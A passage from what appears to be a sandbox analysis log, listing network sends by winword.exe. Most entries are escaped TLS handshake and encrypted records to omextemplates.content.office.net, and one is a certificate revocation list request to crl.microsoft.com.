  549. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\x82\\x97\\x9e\\xb0c4\\x87\\xda\n\\xb0c\\xdd\\xd2\\xc3\\xe3\\xaa\\x7f=0\\xdb$\\x11rx\\xca\\x04\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  550.  
  551.  
  552. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<d=\\x8a\\xb0w\\xdepa^\\xd0\\x07\\x88v|t\\xd1k \\x00\\x81\\x83c\\xea%z$q<\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  553.  
  554.  
  555. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbd\\x16:c\\x89\\xe3c\\xef\\x83\\x13\\xf6\\x0bb\\x04\\x02\\x92\\x18\\xbcpm4\\xc40@nm\\xd67\\x9c\\xbf\\xc7kt\\x90\\xa5\\xd2\\xd4\\x85\\xd17\\x1d\\xfa=?\\xd1qt\\xacq_\\x0f\\xb5\\x0e%`\\xa9\\xe9\\x7f\\xa3?jz(\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0001\\x14m\\x08\\xab\\xd2\\xde\\x95y&*\\xa2*z\\x7fcg \\xce\\xa6\\xb4\\xfb:\\xb5\\xe1\\x03\\xaa\\x13\\xa2\\xd0-\\xee3\\x8f\\xa2\\xf7\\xb5\\x91\\x83!\\xa3l\\xd5\\x9ew+\\xa8"
  556.  
  557.  
  558. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xb59.\\xaf\\xe7\\xe5u^o\\x13\\xa9ljx\\xd1\\xcb\\xcbfo\\x06\\xa8\\xf1$n3?^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  559.  
  560.  
  561. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xbc\\xbf\\x01<\\x01\\x8dc\\xe9\\x99%n*b\\x9b\\xec\\xc5\\x0fr\\xff\\xb0\\xecq:@d\\x89b\\xaa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  562.  
  563.  
  564. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<y$\\x81\\xe4xa\\xd5\\xce\\xda\\xf6&\\x91\\x00s\\x04nr@w!\\xa4\\x1e\\xeb\\xb8\\x17\\xa1\\xa2?\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  565.  
  566.  
  567. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd5\\xdf8b\\xc0x_\\x90\\xa2\\xcbm\\xef\\x8d\\xe5\\xaa\\xb4duy\\x1fg\\x0e\\xe1\\xbbyek\\xd3\\xc8\\xc6\\x8a\\xe7\\x9f\"\\xedw_=\\x13\\x8e\\x96\\x15\\xc6\\xc4\\x8f\\xcb\\xf5\\xb5\\xad\\xd9\\xe4\\xee\\xfa\\xb9\\xff\\x88\\xbf\\xa5\\xfanw\\xa1\\x0f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x86b\\x15b\\x85f$;\t\\xca\\xe0m:qx_\\x94\\xcfw\\x8e\\xfdob\\x0c\r\\x83\\x82\\x85\\xc0k\\xf0b-i\\x90\\x13\\x1a\\x97\\xd7\\x9aj\\x1d\\xb2\\x19\\xd0\\x91"
  568.  
  569.  
  570. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xe9t\\x82\\xffr\\xc7*\\xbc\\xfc\\xaf\\xcb\\xfc\\x80r<fl\\x9f<\\x93\\xcd\\x9a\\x90\\x9e0\\xa1\\x07\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  571.  
  572.  
  573. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfd\\xc0\\x11\\xf7\\xb7\\xeb\\xa6&\\x8de\\xf1(\\x11fl\\xe5\\xbd\\x14\\x1a\\xa7#\\x9d\n\\x81\\x00)\\x04\\xdf\\xa7\\x94ph\\xc0\\xfbx\\xb4\\x14\\xc3t\\xfc\\xdf\\xc0\\xab\\x9e\\x1a\\xf7\\x1b\\xeeqp\\xda\\x92\\x8b\\xec\\x8f&\\x97c\\xa1f\\xc3\\xeb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y\\xd943\\x12a\\xc17q\\x9dp\\xba5\\xe8\\xdb\\xd7\\xb0\\x04~\\xd3\\xa6\\x8f\\xe3\\x96d\\x19\\xc4\\x965\\xc1\\xa3\\xe8\\xa3\\xf9\\x89\\xc9\\xd9\\x02b\\xfa\\xd2\\xd8\\xdd\\xcfa-\\x8f"
  574.  
  575.  
  576. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\xe3\\x80y\\xc2\\xfa1\\xe2\\x0c\\x85\r\\x16\\x90\\x16?\\xc5\\xf1\\xd9\\x01\\xdc\\xaa\\x96\\x90\\xb0\\xaa\\xd3##\\x94\\x18\\xf7m\\x18g+\\xf9c\\xc1\\x8b\\xcc\\x9e\\x88\\x01\\xee\\xbd\\xaa'\\xe0\\x92g\\x8f=\\xebs\\xfe\\xa9q\\xf7s\\xe7\\x1f\\x0c\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000srh\\x0f\\x13\\x02\\xcf\\x9dk\\xaf\\xd3\\xbf\\xa9\\xe7\\x12a8pv\\x93\\x91g\\x82e\\xb4\\xc0\\xee^\\xc87by\\x94#\\x88.\\xa0\\xe3\\x82\\xb6q\\xdbuqj\\xed\\xe4\\x07"
  577.  
  578.  
  579. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xf6y\\x01\\xca\\xbb\\xbb\\x9c>\\x1e\\x00\\xa3\\xd7\\xa9.\\x18\\xbd\\x01\\x9fv\\x1d\\xb2\\x9a\\x99*\\xebu|\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  580.  
  581.  
  582. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xcb\\x18\\xe1:\\x1a\\x89\\xbf\\xf6\\x8b\\xfc\\x9f^\\xb9\\x13\\x1b\\x1f\\xa3gcy\\xb4\\x04\\x19\\x14w\\x89(e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  583.  
  584.  
  585. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xe6\\xf6\\xf0\\xec\\xec\\x88dagm\\xc2ds\\xba\\x1c\\xff\\xbf.\\xd0\\xcc\\xfb6\\xfe\\xbd\\xcb\\x1e\\x12\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  586.  
  587.  
  588. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04r\"\\xf8\\xb5by=i\\xb5\\xb75\\x02\\xf9:\\xaa\\x81k2ty\\xc2ia\\xd2\\x94\\xa2\\xc4\\xc7\r\\xd3uo1\\xe9\\x11\\xdb4\\x8d\\x0f?\\xde\\xebu\n\\x84\\x83\\xd7&\\xcf\\xa2%\\x87\\xf2x\\\\xd4\\x9d\\x13\\x912\\xfb\\xc2\\xe6\\xf2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb7\\xc9&\\xd8l\\xc5\\xd1\\x05\\xb2\\xd2f\\xb3\\x89p\\xf8fr\\x8avdd\\xcf\t^\\x99\\xe0\\xfc\\xc4&x\\xea\\xa9\\x8b6\\x01\\x0ce\\x95\\x16\\x82y\\x00\\\\xe7\\xda/ \\xff"
  589.  
  590.  
  591. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<i\\xfa\\x91bj\\xf5i\\x90\\xc6\\x81\\xe6\\xaf\\x13b\\xb43=\\xed\\x0e\\x16nr\\xef\\xc6\\x85\\xab\\x85\\x99\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  592.  
  593.  
  594. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\\xb6\\x7f\\xcf%`\\xb9_\\xc5~7\\x04d\\x0fw\\x8a\\x14\\xcd\\x9fc\\xb8\\xbb:\\x14\\xee\\xe7\\x8bx:w\\x85\\xd3^\\xbe\\xfd\\x83\\xb6\\xb3\\x92\\x80q+\\xea\\xe1\\\\xf2\\x94\\xb5\\x19\\xc0\\xec>\\xc6\\xf7y\\xcd=\\x8dy\\xd6\\x87\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000+s\\xcc\\xb5\\x05\\xac\\x7fg\\x0c\\xd4\\xedh\\xf2\\xa9\\x99/\\xee\\xdd\\x15vd\\xc0\\xdd\\xa7;\\xf5o\\xa6az\\x94ca4h4\\xe0\\x8fq\\xe8\\xa6\\xb5\\x8c\\xef\\x18\\x83+"
  595.  
  596.  
  597. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01t\\x12<\\xe1\\xbb\\xfd\\xb8\\xc0>k\\xd4u\\xc9\\xa3u4\\x992^\\x84w\\x19ye~\\xa3\\x0c\\x0e\"p\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  598.  
  599.  
  600. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04qq\\xd3\\x95&k=#.\\xef\\x17\\xf4tz\\xe1zy\\xdd=\\x03~\\x00\\x12\\x9fn\\xbf\\x85xgdw!\\x81\\x7ff\\xeb\\x16\\xba\\xa3\\xdb,\\x1a\\xba\\xd7\\xcbx\\xea\\xa2\\xbb\\xaa1\\x82\\xde\\x023\\xbf`\\x06wr@\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb4\\xe98^7\\x91\\xd8o\\xa1\\xc3\\x02\\x82\\x05\\xbd\\xc5g\\xd3\\x8e\\xce\\x97\\x8a\\xf7\\x83\\x1ah\\xdc\\x89q\\xf1\\x1a\\x91h\\xd9\\x17\\xd2\\xca\\xb8\\xd1\\xeaj,\\x069\\xcf\\x088mp"
  601.  
  602.  
  603. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xca\\x9b\\x87\\xa4~\\xc0r\\xa3\\xbd\\x9a\\xa9\\x08\\x98\\x19\\xe2gs>\\xc0\\xd7\\xa0~\\xef\\x083u\\xa8a\\x1a\\xdb6\\xe4~s@bc\\x00\\xb6*=\\x83da\\xa7o\\x12@\\xbb\\xa4yp\\x97\\x06o\\\\x0f\\x97\\xb9s6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb0\\xa3\\x08\\xc5u.\\xbc\\x06u\\x10\\xba\\x07\\xf3_\\x1a`\\x94\\x82o\\xe12<\\x83g\\x01d\\xec\\xff\\xf8\\x08\\x9e\\xcb\\xc1\\xb1\\x8b(\\xec\\xd3\\xf0\\xffr\\x96\\xa3\\x15\\x08\\xfa(\\xd8"
  604.  
  605.  
  606. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xee\\x92\\x08l\\xe3\\xd2 \\x0f\\xa5\\x0b\\xfe\\x1b\\xe3kusn\\xfab\\x89'a.\\x86\\xb1\\xf2\\x88\\xc3\\xcd\\xf1rq\\xc7x\\xcfs\\xb9\\xc8\\xfb\\x07\\xc3w\\xe3\\xc5 x\\xf1\\xb9ec\\xd7r\\xaa\\x99m;\\xfb<k\\xdd\\xa9e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x83\\x81\\xa4q8\\x8d\\xa3\\xae\\xa2f!\\xde\\xbd\\xb5z\\xec\\xab\\x84\\xbbj0\\x93\\xf4\\xd5\\xf8r\\x07q\\x9c)g\\x1e\\x92\\xca\\xe6\\xf3m+g\\x91\\xef\\x90\\x1a\\xc4w\\xe0\\xd2\\xcc"
  607.  
  608.  
  609. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\xfe\\xb09p\\x105\\x1a\\xb9\\xa0\\xb6\\xd9z\\xce9\\x14\\x01n\\xb1w!\\xf0r\\xa3\\x9b\\xa4\\xd4az\\xaf\\x8a\\xec\\xf9\\xdb\\x86\\xee5\\xa6\\xf6@\\x00o\\xee\\x82\\xec\\xc6\\x1cl\\xc6\\xa6l\\xd5\\x13=\\xf4u\\x9a\\xd6\\xb9\\x82fny\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x19v\\x7f#i\\xcao\\xa0g\\xe2eav2\\x8d\\x017,\\x05\\xc4\\x8d;\\xc6\\x88x\\xe8\\xcb\\xadu\\x7f9\\xd6\\xaa\\x0b\\xb6\\xb2\\xbd\\xe6\\xf3^\\xa2_t\\x03\\x1b\\xcbi"
  610.  
  611.  
  612. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1bk\\x12\\xacg\\xb1kh\\xf7\\xb6?\\xba\\xc15\\xa0\\xd6\\x88\\x83\\xa3,\\xa8\\xb8g\\x17\\x1a\\x8f\\xf1\\xb4\\xfd\\xeb/\\x07)\\xc9\\x0f\\x1a\\xd1\\x9b\\xd6\\xb7sde\\x9ee\\xd4\\xef`\\xeb\\xfe\\x1at\n\\xa5\\x86\\xd2\\xb1<\r\\xff\\xb8\\xea\\x08\\x9f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb9\\x88\\xf8\\x97\\x19\\xd0\\xaa\\x15-\\x10\\xd8\\x01%\"ig\\xf3a/\\xd3/\\xd2\\x88\\x82\\xd74\\x8a2 a\\x15\\xf6\\x01\\xcf\\xed\\x9e4\"\\xca$\\x01m\\x96\\xea)\\xe7(\\xfe"
  613.  
  614.  
  615. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04x\"0\\x85\\x7f\\x13\\xaf\\xf2\\xea\\x8e\\x00\\xc5n=\\xc3t\\xbe\\x18\\x10<\\xcd0\\xea\\xfe\\x7f\\x93\\xe3*\\x9e\\xef\\x08\\xea\\x1d~\\xdd\\xd5\\x84\\x9d\\xef\\xe5x\\xc4\\x1b$_\\xf8\\xd8\\x98@\\xda\\xd9x\\x98=\\x03\\xc8jc\\x85\\xa8h\\x9e1\\xd4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\x93a\\xa6\\x0ef\\xaa\\xff\\xfed\\xe9\\xa4s\\xbc1\\xcd\\xd9\\xf6x\\xb3\\x03\\xc3\\xab\\xb9d\\xb7\\x86w\\x1c\\xfc^\\xcf\\x9fz\\xb5\\x83\\x9d&#\\x1b\\x8d\\x0c<\\x01~\\x9f"
  616.  
  617.  
  618. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v!\\x07\\xca\\xec+n\\x8a\\x04\\x85(\\xaa\\xd0$\\x1d\\xebp\\xae\\xdc\\x05\\x127\\xd9\\x82\\xac\\xe8\\x93\\xab\\x91\\x1f\\xdf~\\x81a\\xa4n\\xb2\\xac\\xd7\\xb6\\x92ofv\\xf9\\x1a\\xafd\\xf5\\xec\\xf7vd\\xaf\\x01\\xc0\\x04\\x1e\\x90\\xe5\\xb3\\xbat\\xcf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcd\\xa4\\x0f\\xce\\x90\\x1d\\x7f:\\xcf\\x83h\\x95\\xb3\\x998\\x02pa\\x84\\x85;\\x1e\\xd0\\x18\\x98\\x1a\\xa3+~~\\xa0\r\\xb6_\\xf4n\\x9e\\xffz|0\\xc1\\xfc\\xc1\\xff\\x00\\x0ck"
  619.  
  620.  
  621. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1ak\\xc2n\\xf7\\x97g\\xa7pq\\xfa3f\\xce\\xfe\\xe5w+&=\\xbck\\x02-y\\x86&\\xd8\\x8b\\xff\\xf9c\\xa2?lb`\\xb7\\xfb\\x9f\\xd5\\x14\\x18\\x0f\\x03\\x9b\\xf2\\xf6\\xf6\\xeaay\\x0e\\x8a>\\xe5\\x8fb6\\xa8&/\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\x94\\xb0\\x178z\\x1e\\x93b\\x05\\x0c\\x89\\x83\\x855\\xa5\\xdb\\xd2\\x01\\x94#\\xd44k\\xbc^gp\\x7f\\xb3\\x08|\\x94.fx\\x06\\x06\\xd5`\\xf8l;\\xbf\\x08lb6"
  622.  
  623.  
  624. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xeay\\xa8@auck&\\x9e\\x04\\xac\\x80\\x06\\xe9m_f~m\\xcd\\xbfw\\xe7\\xe0\\xd0\\x8a\\xca\\xc5s5\\x1di\\xdal\\x12\t\\xd7\\x0e=e3em\\x97\\x90(\\xdc\\x17k7\\x16\\x9e\\xf3\\xae\\x92\\x92\\xe1u\\xec\\xc1\\xc9\\xbc\\xe3\\xd6*\\xa4\\x86\\xdd//)\\xf6\\x11\\x93\\xf4\\x99\\x10:\\xa7\\xb4\\xee\\xe1\\x9f\\x99\\x9b\\x95\\x91\\xcas\\xb2\\x15\\x1c\\xbe\\xe1'\\xcb\\x17\\xca\\x01a\\x0b\\x92\\xe0o\\x8c\\xd3<\\xd3\\xed\\xfd\\x85\\xe5v\\xc6\\xb6k+\\x86.hgz\\x06\\xeb\\x96r\\x19y\\x1b\\xb5\\x87p\\x16\\xc75\\xfdl\\xa3\\x08\\x93\\xb8\\xd8o\\xec\\xec\\xc5\\xa6\\xfa~h\\x11~\\xbe\\x1fw\\x08\\x99\\xca\\x17\\xe5\\xcd-k\\x7fy\\xd9(\\xa2\\xaew\\xbf6\\x03 \\xa6f\r\\x9e\\xf1v\\xe0`\\xff\\x1ads\\xff20\\xa7q\\xdd\\xfa\\xf7\\xb0\\x04=n\\xc9zij\\x8e\\x89\\x12\\xb0\\xa4f\\x1d\\xe6\\xec1u\\xeea?\\xe7p(\\xf3\\x98\\x96\\x14\\x10y\\xdd\\x00\\xfbz\\xff\\xf2\\xb2\\x1a\\x91\\x80q>\\xc7\\x9e\\xcah|kb\\x90"
  625.  
  626.  
  627. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x81j\\x08\\x1a\\x85\\x17\\xda6ke$\\x9ci\\xf5\\x9e\\xef\\xff\\xa0b\\xe06\\x9b\\xf8\\xa8\\x94\\x13|\\x80\\x81\\xc5\\x1ex\\xbc\\xb1t\\xc5\\xc6k\\xa8k\\xa1\\x15y\\xd4\\xd6a\\x08\\x0f\\x9b\\xe7h\\xd7iei\\xaf\\xe5\\xf8\\xaf:\\xb4\\xee\\xe0_\\xb4\\xaf\\x96\\xfd\\x9d\\xd4\\xf2\\x05\\xd6\\xb4\\x85\\x1c9\\xbc\\x9c=jh\\xa5\\xd4\\x8f*\\x8d\\x0f\\x8d\\x16yv\\x14\\xef\\x91\\xce\\xb6\\xe6\\xec\\x181\\x00*\\xe3\\x1b\\xaa\\xdc\\x80\\xb2\\x97\\x9a\\x9fv\\x87\\xbf\\xb0ia\\x06\\x88w\\xf3\\x87\\x91\\x9c\\x87\\x16\\xcf\\xd3my\\x94\\xb2h\\x13\\xa2e\\xde\\xc0\\xafe\\xb5o\\x9e\\xa2\\x9f\\xe1\\xcb\\x95\\xe8\\x9d\\x91!\\xe1f\\xee\\x03\\x12\\xa0\\x1b\\x19\\x86\\xc2r\\xc1\\x9f4\\x0f\\xc5m++\\xdcp\\xb0\\xef\\xdf\\x93\\x1f\\xb7\\x8a\\xe25\\xb5\\xf7\\x94k\\xb4\\xd4\\xe4\\x82\\x0e/k\\x9fr7\\x81\\x93\\xe3\\xe9\\xd1&\\xd6\\x9f\\xd9\\x8f\\x1d\\xdd\\x97d8\\xa1-\\xfb_\\x99o\\x16\\x91\\xa2\t\\xf2\\xea\\xac\\x16\\x07\\xd7\\xd6'\\xe6\\x15's\\xef\\xaf\\x1f\\x1b\\xf1\\x15\\x9e\\xb2\\xc7j<\\xe5\\x96\\xd1s"
  628.  
  629.  
  630. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xae\\xfe\\x1e0\\xbb\\xd6a\\xb2\\x12k\\x1b\\x84\\xa0\\x9dp\\xf0\\x03\\xd7\\xa6\\xc0\\xca\\x00n\\xa0p\\xb4\\xe0\\xbbu\\x89y\\x03@\\xc6\\x0fx\\xf4\\x92\\xc6v*o\\xba\\xeb\\xedx$q\\x1a\\x94\\x1b\\x0b\"\\x86^\\xcb\\xb5\\xb7\\x0e\\xb1\\x9a\\xdf\\x96\\xc3#\\xd28\\x19\\xc6\\x90\\xa7\\x92\\x95\\x91\\xa8\\xe2\\xc5>\\xddm\\x8f\\xad\\xc5\\x132\\xb2\\xeap\\xfc't\\xfd\\x84\\x02\\x1azm<9\t\\x15f\\xda\\xd8\\xc4a\\xb5\\xbe\\xfd_/e\\xc4?~\\xdd\\x19\\x06\\x8d\\xff\\xd7\\x1b\\x990z\\xbf\\x88\\x1e\\xbd\\x93;bk\\x7f\\x87\\x07\\xe4u\\xdc\\x91\\x1c\\xec\\xa0\\x84\\xee\\x04\\xd9\\x8c\\xf5\\x13\\x94_\\xb5\\xdd\\xd1@\\xa3\\xfa/~\\xeb\\x1a\\x9f\\xbd\\x026'\\xdd'\\x0c\\xe7d\\xf8\\x07\\xc5:;f\n\\xd6\\xdf\\xc9\\xc1y\\xd5z\\xaf\\x8f\\x8a_^\\xe6d5!\\x14i\\xac\\xe8\\x052\\xda\\xa1\\xe4q\\x0c\\x17i\\xdd\\xbc\\xa98\\x9c\\x15\\xf4s..\\x10\\x00\\xd9\\x08;z\\xb7\\\\xc5'\\x80\\xe6\\x13\\x8ejum\\x03pu4\\x06\\xa9\\xed\\xb7\\x82x\\xca\\xab\\x80"
  631.  
  632.  
  633. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  634.  
  635.  
  636. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n\\xaa#\\xb7\\xb5ts\\xa0v3\\x17)\\x001\\xaa\\xac\\x1b\\\\x9bj\\xf9\\x9c\\xfa^\\x02b\\xd3>\\x91\\xeb\\x08qj\\x7f\\x0c\\xd3f<\\x8er\\x8a\\xdb\\xf0\"9^\\xd3f\\xca\\x03\\xaa\\x08\\x15p\\xb5+\\x0ekt3\\xff\\xbe(\\x86\\xae~\\xd0\\xbb\\xb3\\x0f\\xac\\x8d\\xe1\\x13'\\xaa\\xd2\\x02e5\\x18\\xb9\\xd1;-\\x94e2y\\x9b\\xbc\\xca\\x84\\xcf\\xa6,\\x8cj\\xecv\\x85b\\x17\\xf3\\xb9r\\x03s'\\xd0q\\x1d\\xf2\\xf1j\\xdb\\xeb\\xe6ky\\x82ef\\xba\\xd2z#\\x80\\x9f\\xcdk\\xe8\\xaf\\x05#\\xaf\\x13\\xdei\\xc0\\xdd\\x88w\\xe8\\xabd\\x01\\xb3g\\x0cm 4;no\\x1de5!\\xf3\\xd4\\xe4\\xebv\\xad\\xce\\xa4y\\x1c\\x93go\\xad\\xfbt\\xdb\\xb7(\\x7f\\xcc4\n\\=\\x9e\\xfa_\\xede\\xa1\\x8e\\xfa\tj\\xc3\\xa4\\x04?\\x99\\x89\\x9fd7\\xee)=\\xb7\\x9d\\.4\\x85\\x7f`v\\xb5\\x11q\r\\xec\\x01a\\xa8\\x00\\xf1\\x06\\xd81\n1y\\xb8\\xfe'\\x89h\\xd1)\\x9f\\xe6\\xc8\n\\x99"
  637.  
  638.  
